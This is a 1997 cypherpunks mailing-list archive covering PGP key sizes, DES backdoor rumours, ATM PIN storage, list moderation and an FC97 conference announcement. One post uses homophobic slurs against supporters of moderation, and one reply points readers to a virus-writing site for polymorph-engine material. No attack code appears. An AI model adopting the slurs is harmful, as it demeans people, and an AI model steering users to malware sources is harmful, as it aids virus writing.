Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

AaronH4321@aol.com writes:
> I am just starting at this. I know that part of RSA/PGP's strength
> comes from the size key you choose. What prevents someone from
> writting a 2048 bit key?  Is it because computers can't handle it? Is
> 1024 top of the prime number size right now? Am I way off track? 

In just about every way possible... :-)

The RSA algorithm can use keys of arbitrary length.

All current versions of PGP allow key sizes up to 2048* bits.  (When
asked for the size of the key to generate, it allows you to select 512,
768, 1024, OR TO *TYPE IN THE NUMBER OF BITS DESIRED*.) There are older,
partially incompatible versions that allow even larger keys, though
there is little reason to go higher. Beyond something like 3100 bits, it
is surmised that the 128-bit IDEA session key is easier to attack. 

As for prime numbers, no, 1024 bits isn't even close to the largest
found (there are of course an infinite number of primes).  The latest
discovery was of a Mersenne prime, the 35th such found. It was 1,398,269
bits long (all 1's, of course).

Tunny 
* OK, there is a minor bug in 2.6.2 that in some cases limits keys to
"only" 2047 bits -- the difference is utterly insignificant in terms of
security.  This message is signed by such a 2047-bit key. 
======================================================================
 James A. Tunnicliffe   | WWWeb: http://www.inference.com/~tunny
 Inference Corporation  | PGP Fingerprint:   CA 23 E2 F3 AC 2D 0C 77
 tunny@Inference.com    |                    36 07 D9 33 3D 32 53 9C
======================================================================

-----BEGIN PGP SIGNATURE-----
Version: 4.0 Business Edition
Comment: which I won in the PGP raffle at Cypherpunks 12/96...

iQEVAgUBMtPCuvAmQsmyRPddAQHQHwf+NcZ54woujQVBRRmmyH3CayYmCial2sLn
py0RvaXP9UGhY+vZU2HgtzaCor32JnrC67LsHH/2XLIEqjpsNzor7YwCtllsl55M
1lo4dkXfjg/jW0ijLTEbbEealRm1LziZVjIrTNsibq1GZ0UdwTb8nPens2iuHZBB
QJZTBkpi0yD8xnWZqvSBwjsdavJUUOy1xU4PgNE4Nr/xbWPA0OwMGOm1MSHFXxHL
xOYJvLR9905mSxh+kNdcf3SpT5JRuBjH6MQmG8GjKRGc8KoXbfUkCiXeSXlygaGA
q2/z2lO4E9eTZvlrsQN1sw8uIoKTnz3YPw9nWjXTeLWx9J7WbeGPSA==
=RzVt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 05:40:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commercial Encryption Packages
In-Reply-To: <970108012908_1416371569@emout17.mail.aol.com>
Message-ID: <XmR8ZD22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


AwakenToMe@aol.com writes:

> How much word has there been on any commercial encryption packages (such as
> point n crypt..etc) of any types of backdoors installed in them?

There's been many rumors of a backdoor in DES's S-boxes.

> Any comments or knowledge about this would be good edition to the list :)
Huh?                                                 ^

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 8 Jan 1997 07:05:35 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <32D30EFB.5F8@gte.net>
Message-ID: <199701081608.IAA16175@songbird.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn allegedly said:
> 
> The following table shows cypherpunks subscription activity
> for the period 12 Oct 1996 thru 07 January 1996.
[...]

> Interpretation:
> 
> Unless the reversal of gain/loss in the 5th data row is permanent,
> c-punks are losing 0.8 bodies per day, or 294 subscribers per year.
> 
> Actually, the constant high turnover suggests something else:
> Many people join the list and get back off again due to the high
> volume and their own personal time constraints. 

As a relatively new subscriber I find the single factor most likely 
to get me to leave is the garbage on the list.

And a significant portion of the traffic is discussion about that garbage.

> Unless Sandy can
> cut *way* back on the number of posts to the list, i.e. excise a *lot*
> more postings than just the blatant Spam and "Timmy is a....." posts,
> it won't make any difference to those people who come and go.

No.  The blatant spam and "Timmy isa" posts are more annoying 
than the large volume, at least in my case.  
[...]

> As to the net loss in subscribers, the moderation of the list could
> have a substantial effect on the number of subscribers short-term,
> but whatever trend we have here will continue regardless, since the
> real value and character of the list is not determined by the posts
> which are removed (unless it were that some of the character and value
> is going to be removed), but by long-term factors which are to be
> expected when the principals get older, less involved, and less
> contentious (like Sandy, wanting to avoid conflict).

Moderation may actually cause the list to grow at a faster pace.

While I don't agree with your analysis in the short run, in the long 
run volume on the list will be *the* problem -- just due to the 
growth of the net.  And in the long run, undoubtedly further 
structure will evolve -- there is no meaningful way to deal with say 
10000 messages per day without some way of structuring the flow.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Neil Tunnicliffe <intaus2@ois.net.au>
Date: Tue, 7 Jan 1997 18:00:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Polymorph engine (was:RE: PWL's how ?)
Message-ID: <199701080158.JAA22301@hawk.ois.net.au>
MIME-Version: 1.0
Content-Type: text/plain


At 09:50 7/01/97 -0400, you wrote:
>Where did you get the following text on polymorph engines?  Is it available
>somewhere?  Where can I get other information on similar topics (Please resist
>the urge to mention web search engines; I'm looking for specific
>recommendations :-)
>
>Thanks!
>
>- Patrick
>_______________________________________________________________________________

Well try some sitez like Vrack: http://206.117.82.30/vrack/

Neil





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Juriaan Massenza <juriaan_massenza@ctp.com>
Date: Wed, 8 Jan 1997 01:07:00 -0800 (PST)
To: "'Dale Thorn'" <cypherpunks@toad.com>
Subject: RE: [STATS] Cypherpunks subscriptions on and off
Message-ID: <c=GB%a=_%p=CTP%l=TRABANT-970108090616Z-4823@trabant.nl.ctp.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi Dale,

I am usually lurking cypherpunks, I decided to reply to your message
just to give you an idea of why _I_ subscribed to cypherpunks. (English
is not my first language, not even the second, please forgive me my
grammar monstruosities)

I am very intested in crypto, _application_ of crypto, remailers and
security, I usually trash flames, political/social implication of crypto
and of course commercial emails. Looks like the last 3 categories are
the main topic. I don't have problem in bandwith but I think that if I
was forced to use a phone connection instead of a digital one like I
have now I will unsubscribe to the list since it will not be worth for
me to spend hours in downloading a lot of emails knowing that I will
trash the 90% of them.

I don't want to criticize people who talk all the time about the above
mentioned 3 categories because it is in my understanding that someone is
interested in those and I will remain subscribed to the list just to
pick up the real juice.

Best wishes to all,

Juriaan

>-----Original Message-----
>From:	Dale Thorn [SMTP:dthorn@gte.net]
>Sent:	Wednesday, January 08, 1997 4:06 AM
>To:	cypherpunks@toad.com
>Cc:	freedom-knights@jetcafe.org
>Subject:	[STATS] Cypherpunks subscriptions on and off
>
>The following table shows cypherpunks subscription activity
>for the period 12 Oct 1996 thru 07 January 1996.
>
>Date    ~Days   #Subs   Gain   Loss   Gain / day   Loss / day
>-----   -----   -----   ----   ----   ----------   ----------
>10/12     n/a    1361    n/a    n/a          n/a          n/a
>11/04      23    1353    211    219          9.2          9.5
>11/30      26    1299    173    227          6.7          8.7
>12/18      18    1262    120    157          6.7          8.7
>01/07      20    1291    151    122          7.6          6.1
>        -----   -----   ----   ----   ----------   ----------
>Totals:    87            655    725          7.5          8.3
>
>Interpretation:
>
>Unless the reversal of gain/loss in the 5th data row is permanent,
>c-punks are losing 0.8 bodies per day, or 294 subscribers per year.
>
>Actually, the constant high turnover suggests something else:
>Many people join the list and get back off again due to the high
>volume and their own personal time constraints.  Unless Sandy can
>cut *way* back on the number of posts to the list, i.e. excise a *lot*
>more postings than just the blatant Spam and "Timmy is a....." posts,
>it won't make any difference to those people who come and go.
>
>In effect, Sandy is going to have to cut the number of daily posts
>(to the moderated list) from, say, 100 per day down to, say, 20 or
>25 per day.  This would certainly be a goal of his, since most of the
>subscriber comments I've heard indicate that even 50 posts per day of
>"relevant political/social commentary" is way too high for them.
>
>As to the net loss in subscribers, the moderation of the list could
>have a substantial effect on the number of subscribers short-term,
>but whatever trend we have here will continue regardless, since the
>real value and character of the list is not determined by the posts
>which are removed (unless it were that some of the character and value
>is going to be removed), but by long-term factors which are to be
>expected when the principals get older, less involved, and less
>contentious (like Sandy, wanting to avoid conflict).
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lyle Seaman <lws@transarc.com>
Date: Wed, 8 Jan 1997 07:10:37 -0800 (PST)
To: Liz Taylor <cryptography@c2.net
Subject: Re: The Upcoming DES Challenge
Message-ID: <2.2.32.19970108150757.0062352c@remote.transarc.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:10 PM 1/7/97 -0000, Liz Taylor wrote:
> I don't know anything about bank ATMs
>and the protocols they use, but I presume the PIN is stored on the card
>single DES encrypted. If this is so, anyone can take an ATM card, attack it
>to recover the key and then use that key to recover the PIN for any stolen
>ATM card of that bank (or that branch). Hopefully, the ciphertext/plaintext
>pair that RSA announces will be a real target like this, with the actual key
>disabled. Once the key is recovered, the press can then claim that ATM
>cards are not safe any longer.

Your self-assessment is admirably accurate, but the presumption is not.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 8 Jan 1997 07:48:33 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment  in Jan
In-Reply-To: <3.0.32.19970107164034.006b6044@mail.io.com>
Message-ID: <Pine.SUN.3.95.970108104122.17163J-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


I'm not sure I see why a moderator would have any liability for passing on
a trade secret or even a classified military secret so long as the
moderator did not have a contractual relationship (or a clearance, as the
case may be) with the owner.  That's free speech.  The moderator might
have to cooperate with a subpoena from the original owner seeking to find
who stole/released the secret, but that's a different problem.  Is there
some trade secret theory of an implicit trusteeship that i don't know
about? 

On the more general subject of moderator liability, I vaguely recall that
the CDA had some badly-drafted language that was designed to reduce
moderator liability, but that it was so badly worded as to be ambiguous.
I'm just back from a months' trip and sorting through stuff so i don't
have time to look it up.  Anyone got it handy?

PS  I support moderation, at least as an experiment.  

As to the choice of the moderator, innocent until proven guilty, I say. 
I personally don't put much store in requiring a moderator to issue a code
of practice.  Common law and equity will do to evolve a system as it goes
along.

I prefer a system where the rejected posts are in a segregated list so
that they are easy to find.  Not everyone has great tools for merging two
lists to find the differences. Of course, the moderator liability issue is
at its greatest is the moderator creates a "trash" list, also know as a
"sue me" list. I do see how the legal position would be better if you have
an unmoderated list and a separate "best-of" list that is moderated.

Finally,  how about a THIRD list to discuss moderation issues so that it
doesn't clutter up the "best-of" list?  

On Tue, 7 Jan 1997, Greg Broiles wrote:

> 2.	Secrets which are being revealed (e.g., the alleged RC4 source, the
> Mykotronix trash stuff) 

[...]

> 
> The loss of (2) is regrettable; but Usenet (and other unmoderated forums)
> are still available for hit-and-run disclosure of secrets. Also, it's
> unclear to what extent (2) will be lost. Given the recent California and
> Federal statutory changes strengthening trade secret protection, I think
> it's useful to be careful - but it's arguable that neither the alleged RC4
> code nor the Mykotronix trash stuff would have been a trade secret
> violation. Also, let's weigh the value of what'd be lost (how many of these
> messages do we really get?) against the negative value of the crap we're
> currently subjected to, and the (speculative) value of posts we don't get
> because their authors have left the list because of disgust and annoyance.
>



A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: serw30@laf.cioe.com
Date: Wed, 8 Jan 1997 08:14:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation and the Polymorphic Virus
Message-ID: <199701081617.LAA13641@laf.cioe.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Tue, 07 Jan 1997 18:19:55 -0800
> From:          Toto <toto@sk.sympatico.ca>
> Reply-to:      toto@sk.sympatico.ca
> Organization:  TOTO Enterprises
> To:            cypherpunks@toad.com
> Subject:       Moderation and the Polymorphic Virus

> Perhaps with proper moderation, having access to a cloistered
> environment without all of the 'noise', cypherpunks will be able
> to come up with a true polymorphic virus that will make the Atom
> Bomb look like a child's toy.
>   The rabble who rant on endlessly about 'social issues' can 
> surely not be trusted to contribute anything of value on what
> are, in fact, merely a question of 'numbers'.
>   It is up the the elite, the code writers, to lead the cypher-
> punks into a New World Order, in which the results of cryptography
> are only used for proper, approved purposes.
> 
> Toto
> 

 Yes, lets create polymorphic viruses and CPU cycle stealing Java 
applets. Maybe even a new and improved Internet worm...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ulrich Kuehn <kuehn@ESCHER.UNI-MUENSTER.DE>
Date: Wed, 8 Jan 1997 02:36:41 -0800 (PST)
To: Liz Taylor <liz@nym.alias.net>
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <19970107230955.978.qmail@anon.lcs.mit.edu>
Message-ID: <199701081028.LAA23370@nirvana.uni-muenster.de>
MIME-Version: 1.0
Content-Type: text/plain


Liz Taylor writes:
 > There is nothing unglamorous about a known plaintext attack, if the
 > plaintext is choosen carefully. I don't know anything about bank ATMs
 > and the protocols they use, but I presume the PIN is stored on the card
 > single DES encrypted. If this is so, anyone can take an ATM card, attack it
 > to recover the key and then use that key to recover the PIN for any stolen
 > ATM card of that bank (or that branch). Hopefully, the ciphertext/plaintext
 > pair that RSA announces will be a real target like this, with the actual key
 > disabled. Once the key is recovered, the press can then claim that ATM
 > cards are not safe any longer.
 >
As far as I know, here in Germany (maybe also somewhere else) there is
not the pin stored on the card. Instead, it is regenerated by the ATM
every time using a secret key of the bank. In order to be able to
use the ATM card even with ATMs of different banks, there are offsets
stored on the card that relate to some commonly used pool keys.

Ciao,
Ulrich

-- 
Ulrich Kuehn ------ kuehn@math.uni-muenster.de
        http://wwwmath.uni-muenster.de/~kuehn/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 11:11:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: The FAGGOT list
In-Reply-To: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970108042708Z-100@net.tritro.com.au>
Message-ID: <5Z18ZD1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Brett Carswell <brettc@tritro.com.au> writes:
> Could someone please forward me the URL of the FAGGOT (are the caps
> manditory?) detecting software for mailing lists. I feel pretty left out
> as almost everyone else know who the FAGGOTS are. Is this the same
> software that detects Cocksuckers or does Dr Dimitri have something of
> his own. Maybe we could all band together and come up with something
> that detects Nazi moderators as well.

Everyone who spoke up in favor of moderation is a faggot tentacle.

I hope this helps.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 11:14:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <1.5.4.32.19970108095456.003811e4@popd.ix.netcom.com>
Message-ID: <9B28ZD3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> The commercials between the movie and news show on the airline include an
> IBM spot on their new Key Recovery software.  Sigh.
> 
> The explanations they gave were mixed; one person was talking about
> making sure that if you lose the key that people with a legitimate need
> to access the material can do it.  The other example they gave, with
> pictures, was along the lines of
> "Suppose you're going on vacation and you want to leave a key with
> a neighbor to feed the dog.  A safe way to do it would be to put your house
> key in a lockbox that needs several keys to open it, and give those keys
> to people you trust."  Yeah, right - cops can get in, but Dog's gonna get 
> pretty hungry....
> 

I've been playing around with marina's new ibm thinkpad (real cool
machine) and it allows one to password-protect the hard disk. The
docs claim that if you forget the password, no one will be able to
unlock it for you. Sure... Now why isn't that export-controlled? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: imakumon@ix.netcom.com
Date: Wed, 8 Jan 1997 11:46:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: NEW SERVICE
Message-ID: <199701081946.LAA08029@dfw-ix1.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Wed, 8 Jan 1997 12:21:58 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: [STATS] Cypherpunks subscriptions on and off
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970108201121Z-13267@INET-01-IMC.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


In October 1993 the membership was around 500 (or less, I think).
Three years later the membership is around 1500 (to account for the
"cypherpunk-list@xxxxxx" type addresses, which are lists-within-lists
containing numerous "hidden" subscribers). 

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 13:06:47 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <v030078eeaef5fd35084d@[139.167.130.248]>
Message-ID: <Pine.SUN.3.91.970108125105.28929E-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

> Measuring the effectiveness of this exercise, with the ability to peek
> ocassionally into Sandy's sludge pile, keeps the whole thing honest.

I also think it allows the moderator to shoot from the hip a
bit more loosely.  Nothing gets lost, after all, just sorted.
I'm going to cut myself a fair amount of slack for occasional
mis-sorts.

> Go for it, Sandy, and good luck!

Thanks,  I'm sure I'll need it.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 13:15:41 -0800 (PST)
To: wb8foz@nrk.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701060306.WAA22463@wauug.erols.com>
Message-ID: <Pine.SUN.3.91.970108125811.28929F-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

David,

You wrote:

> Marc J. Wohler sez:
> > 
> > I have the utmost confidence  in Sandy and his efforts to revive the
> > quality of our list.
> 
> Metoo....
> 
> The alternative was to unsub.

Thanks, I try my best.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 12:16:32 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <199701062213.XAA20921@internal-mail.systemics.com>
Message-ID: <32D40BF4.3968@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> The Wall Street Cabal (as they say) was genuinely frightened that since
> Milken was so successful with high-yield bonds, they deliberately created
> the term Junk Bonds and flooded the markets with appropriate propaganda,
> and thereby killed off their competition.  How they turned it into a
> criminal offense is truly an art.

  Is this anything similar to, say, calling certain posts by list
members
'spam', flooding the list with 'external' spam, and then using the
resulting
uproar to take care of perceived 'internal' problems?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 12:18:14 -0800 (PST)
To: Juriaan Massenza <juriaan_massenza@ctp.com>
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <c=GB%a=_%p=CTP%l=TRABANT-970108090616Z-4823@trabant.nl.ctp.com>
Message-ID: <32D40E8F.153E@sk.sympatico.ca>
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Juriaan Massenza wrote:

> I am very intested in crypto, _application_ of crypto, remailers and
> security, I usually trash flames, political/social implication of crypto
> and of course commercial emails.

Juriaan,
  I applaud your interest in crypto, but I think you should keep in mind
that there are people around the world sitting in cement bunkers with
their hand on a key that can launch nuclear mayhem on perfect strangers,
for reasons that will remain unknown to those who set these dark forces
in motion.
  This is the end-result of commentary on the political/social
implications
of a technology being ignored.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 8 Jan 1997 10:19:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC97: Anguilla, Anyone?, Part 2
Message-ID: <v03007884aef98e3cb880@[139.167.130.248]>
MIME-Version: 1.0
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Anguilla, Anyone?, Part 2

FC97 Update, Cypherpunk Edition. January 8, 1997 (FCountdown: A-47)

(Pass this around. Please! :-).)

Financial Cryptography 1997
Conference and Exhibition: February 24-28, 1997
Workshop: February 17-21, 1997
http://offshore.com.ai/fc97/

Sponsors:
The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services
<http://www.offshore.com.ai/>
e$
<http://www.vmeng.com/rah/>
See your name here :-)
<mailto:rackliffe@tcm.org>


Just before the end of the year, Vince Cate posted a note to the FC97
organizer's list and noted that a.) we had a bunch of people signed up for
both the FC97 conference (and for the workshop), that b.) those people's
companies probably wanted to book the registration expenses in 1996, and
c.) didn't we think it was time to charge their credit cards and thus d.)
actually have a conference?

Soooo....

We're actually going to have the world's first conference on financial
cryptography. It'll be:

a.)  in Anguilla,
b.)  during last week of February,
c.)  while it's snowing here in Boston. (Hot damn!)

Which, to confess all, is why I had the idea to begin with, though the idea
has grown a bit since. :-).

It's a good thing that we're actually going to have FC97, too, because, if
you look at the "Deductible Junkets" section Wired magazine, we're the
featured deductible junket for January. It would indeed be a drag to have
made it to that pinnacle of net.trendiness and not have a junket to deduct,
as it were. Not that said net.trendiness was unwanted. No-sir-ee. Somewhere
after imagining what it would be like to *not* to shovel snow out of my
driveway, and *very* shortly after remembering there was a cypherpunk on
*Anguilla*, namely Vince Cate, who could help me with that problem, the
absolute very first picture in my head was exactly that Wired article. FC97
as the featured deductible junket in Wired. I could actually see the
headline: "Financial Cryptography, February 1997, Anguilla, BWI. The
world's first peer-reviewed conference on financial cryptography." I also
figured that only someone as pathogically possessed of the trait of
schmooze as I was could conceive and pull off such a feat. So, now, I
figure, I can die, right? I mean, I've just made the net.schmoozer's hall
of fame. :-).

Well maybe not die. Not just yet, anyway. I'm not quite finished, you see.
For my next trick, I have to actually get *down* there for the conference.
To do that, I pretty much need to sell the conference out. Which, if you
haven't guessed, is why I'm currently in your face with another one of my
gigantic "Anguilla, Anyone?" rants. :-). I have to practically sell FC97
out because, when you work with other people, the guy with the idea (that's
me), especially a guy with an idea for something he has absolutely *no*
capability to actually *do* at all, has to take a back seat to the folks
who actually *do*, er, do things, and hope that their effort makes enough
"thing" left over for him to, um, claim to have done a bit of it himself.
(Yeah. That's it... Any questions? None? Good. Class dismissed...)


So, the first thing I'd like to do here, now that we're actually going to
have a conference, is to thank those "people actually doing things" for
FC97, in chronological order of their involvement in this genuine,
Wired-certified, deductible junket...

Vince Cate, the aformentioned Anguillan cypherpunk, of Offshore Information
Services, in Anguilla <http://www.offshore.com.ai/> is the most important
person to thank. Vince's work so far has been positively heroic. Vince got
us a place to have the conference, the InterIsland Hotel, a very nice
150-seat conference facility with space to spare for 10 exhibition booths
(before we need to find an exhibition annex, anyway ;-). He's made
arrangements with Cable and Wireless to give us as much bandwidth as we
need, practically on demand, proving that, yes, you can have a technical
conference --  with T1 access -- in the wilds of the eastern Carribbean. He
also made deals with the banks down there to handle money wire and credit
card processing, not to mention making arrangements with the vendors of
every internet payment method our customers have requested so far.
Including, I'll add here, ecash, from Digicash, BV
<http://www.digicash.com/> and Mark Twain Bank <http://www.marktwain.com/>.
This is important, because, with the help of Lucky Green of Digicash, and
the folks at Mark Twain Bank, Sameer Parekh of C2NET <http://www.c2.net/>
and FC97 will make the world's largest ecash transaction to date. C2NET
will purchase its booth for FC97, sometime later this month, entirely with
ecash. You heard it here, first, folks, and, of course, you'll hear more
about it later. Believe me. :-). Lots more. I haven't even warmed up the
tonsils yet...

Right now, as we speak, Vince is the guy on the ground in Anguilla, doing
all kinds of things, from renting tables and curtains and power for
exhibition space, to specifiying the hardware and network for the workshop
and exhibition, to scanning the blueprints of the conference space into GIF
files so we could have a floorplan to sell booths with, to getting
estimates so we could cost and budget the conference, to, heh, collecting
the actual money (in nice round non-taxable numbers) at
<http://www.offshore.com.ai/fc97/>. In case you haven't figured it out,
Vince is at the core of the whole enterprise, and he deserves much thanks
for all the work he's done. Not to mention all the work he's gonna do.:-).
Remembering we're at A-47, and counting, and all.

After I got Vince to step up to the plate for all this work, we talked to
Ray Hirschfeld, <mailto: R.Hirschfeld@cwi.nl>, of CWI, who then graciously
accepted our offer of the FC97 conference chairmanship, in exchange for
untold hours of completely donated labor. (I mean, at least, if everything
works out, the rest of us could actually get paid.) Ray organized a
conference committee of absolute stars in the digital commerce and
financial cryptography firmament, including our own cypherpunk law
professor, Michael Froomkin. The list of conference committee luminaries,
includes, to read my own latest press release, "the inventor of Millicent,
the project manager of EU's CAFE digital cash project, the holders of
Citicorp's digital cash patent, two famous scholars in cryptography and
digital commerce law, the President of International Association for
Cryptologic Research, and the Chairman of the Taskforce on the Security of
Electronic Money for the G-10 Central Banks." One of these people is so far
up the food chain at the Fed that people there practically have to cross
themselves when they say his name. So, you can see, Ray is one amazing
conference organizer. Vince and I should have known better, but we couldn't
possibly imagine how successful Ray would be in gathering talent when we
asked him to be the conference chair.

Ray and his outstanding committee are now reading all the papers that have
come in during the last few months; from all over the world, from a great
bunch of authors, on just about every topic in financial cryptography.
Submissions are now closed, but the announcement of the selected papers
will be made to the authors on January 18th, and shortly after that, he'll
announce the conference agenda to the rest of us. You heard it here, first,
folks, and, of course, you'll hear more later. Believe me. :-).

Right about the time I had the idea to ask Ray if he wanted to chair the
conference, I thought about how I could possibly extend my "Island Time"
back another week, and thus avoid the snow shovel even longer. :-). I
thought about a feeder activity of some kind for the conference, and, for a
peer-reviewed conference like FC97, there's no better feeder activity than
a workshop of some kind. I thought about the need to evangelize, to big
corporate cheese (technical and otherwise), about how the world was going
to go when we started doing secure financial transactions on insecure
public networks. About the technology of financial cryptography and digital
commerce, and not just running the old Mastercard through a web-page form,
either. Said cheese were the people most in need of understanding this
impending new reality of ubiquitous geodesic markets, I figured, because,
frankly, as people who made technology decisions for big companies, it was
going to affect their businesses the most. Fortunately, they were also the
people who could afford to pay for a week-long intensive workshop on the
subject. Especially if it was in Anguilla. :-). A financial cryptography
bootcamp, as friend Rodney Thayer called it later. I thought about how cool
it would be to get actual cypherpunks-who-code, who were not likely to get
to the conference under their own power otherwise, to run this workshop.
After the week of the workshop was over, both cheese and
cypherpunks-who-code could go to the conference and hang out like they
owned the place. I'd pay said cypherpunks-who-code a competitive rate for
their time, plus fly them there and back, and feed and house them for three
weeks: the week before the workshop getting the bugs worked out, the week
of the workshop/bootcamp itself, and then the week of the conference,
again, hanging out like they owned the place. Everybody would be happy.

So, when I thought about all that, the first person who came to mind to
actually run this was, of course, Ian Goldberg
<mailto:iang@cs.berkeley.edu>. Ian, besides making himself famous last year
for breaking Netscape's SSL implementation into little bitty random bits
(to their eternal gratitude, I'm sure), is one of the canonical
cypherpunks-who-code these days, having done more pounding on the ecash
code library than anyone else outside of DigiCash, *and* building an FPGA
DES-cracker, all while getting a Ph.D in his spare time. :-). After much
arm-twisting, because he was so busy -- and, because, frankly, before Ray
got that amazing conference committee, we were all nervous about it -- Ian
consented to running the workshop. Sometime next week he'll come out with
the particulars of the workshop itself, including what they're going to
teach, and, who's going to be there to teach it, contingent on how many
workshop participants we get. We're planning on a 5-to-1
cheese-to-cypherpunk ratio, so how many cypherpunks-who-code we can bring
to Anguilla depends on how many workshop seats we can sell. Fortunately,
we've had people already pay for the workshop sight unseen, and, with a
little push, I expect we'll have enough participants to actually have the
workshop. When that happens, you'll hear about it. Believe me. :-).

[Oh. By the way, notice that I've now weaseled myself onto Anguilla *two*
weeks before the conference starts. But wait, there's more. Guess who has
to be there one week before that, to get ready for the instructors. *All*
February in Anguilla? Moi? Nawwww.... ;-).]

Speaking of selling stuff, Julie Rackliffe, <mailto:rackliffe@tcm.org>, is
someone I've known for as long as I've been in Boston. She was practically
the first person I met when I started at Fidelity. She now does fund
raising and function management for the Computer Museum in Boston, and has
done some work in a similar vein for the Digital Commerce Society of Boston
(DCSB), which Peter Cassidy <mailto: pcassidy@world.std.com> and 30
cypherpunks and geeks-with-suits started with me last year. When FC97
started to look bigger than a few guys on a beach with an internet feed, I
